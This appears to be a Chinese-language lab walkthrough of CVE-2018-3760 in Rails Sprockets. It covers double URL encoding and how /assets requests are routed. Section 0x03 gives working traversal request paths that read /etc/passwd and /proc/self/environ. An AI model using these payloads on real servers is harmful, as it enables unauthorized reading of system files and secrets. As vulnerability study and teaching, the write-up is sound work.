vulfocusrails-cve_2018_3760漏洞详解+源码分析
vulfocus/rails-cve_2018_3760漏洞详解+源码分析
本文参考技术文章:
https://qkl.seebug.org/vuldb/ssvid-97466
0x01 漏洞介绍:
1 | 名称: vulfocus/rails-cve_2018_3760:new |
0x02 知识点:
1.二次编码绕过
已知:
.的url编码是:%2e
%2e的url编码是:%252e所以:
上一级目录原本是:../
为了绕过我们改成:
%252e%252e/
2.简单了解RoR(ruby on rails)
笔者十分认同这个理念,还看了篇文章https://zhuanlan.zhihu.com/p/103633703
评论也有大佬在讨论,顺便纠正了文章一些错误
3.顺便了解Sprockets
如果网页里引用了 20 个 JS 文件和 10 个 CSS 文件,浏览器就得发起 30 次请求,这会让加载速度变慢。
而且,如果你用了 Sass 写样式,或者用 CoffeeScript 写脚本,浏览器读不懂。
Sprockets 的出现就是为了干这三件事:
- 合并(Concatenation): 把几十个小 JS 文件揉成一个大的
application.js,减少 HTTP 请求次数。- 预编译(Preprocessing): 自动把 Sass 变成 CSS,把 CoffeeScript 变成 JavaScript。
- 依赖管理: 只需要在文件开头写一行注释(比如
//= require jquery),它就能自动帮你把需要的文件找出来并排好先后顺序。—————->
如何使用Sprockets?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25 >def build_environment(app, initialized = nil)
....
env = Sprockets::Environment.new(app.root.to_s) //env是sprockets引擎
...
env //返回env
end
>.....
if config.assets.compile
app.assets = self.build_environment(app, true)
//app.assets就是sprockets库里面的Environment类的实例
app.routes.prepend do
mount app.assets => config.assets.prefix
end
end
>.....
>config.assets.prefix = "/assets"
>.......
>app.routes.prepend do
mount app.assets => config.assets.prefix //mount为挂载:意味着所有的/assets后面的内容都让app.assets解析
>end凡是
/assets/开头的请求,全部交给 Sprockets 解析
0x03 exp
目标是:assets/file:///etc/passwd,访问得到
1 | assets/file:%2f%2f/etc/passwd |

发现可利用路径/usr/src/blog/app/assets/images/
进行二次绕过
1 | /assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd |

读取flag
1 | /assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/proc/self/environ |

0x04 漏洞原理
这么好用的Sprockets怎么就产生漏洞了呢?
为了方便理解原理,一下代码进行了简化
文件一:server.rb(对..的过滤)
1 | # server.rb |
文件二:sprockets/path_utils.rb
1 | # sprockets/path_utils.rb |
文件一:sprockets/loader.rb简化版
1 | # sprockets/loader.rb |
0x05 总结
app.assets 就是 Sprockets::Environment。
那么访问 /assets/file://... 时,由于是由Sprockets解析,请求实际上是给了app.assets,也就是Sprockets库里的Environment类所创建的实例。
这个实例在寻找资源时,会调用它内部的 find_asset 函数。
而 CVE-2018-3760 这个漏洞本质上就是: Sprockets::Environment 这个引擎在 find_asset 过程中,没能识别出经过双重编码处理后的穿越路径。



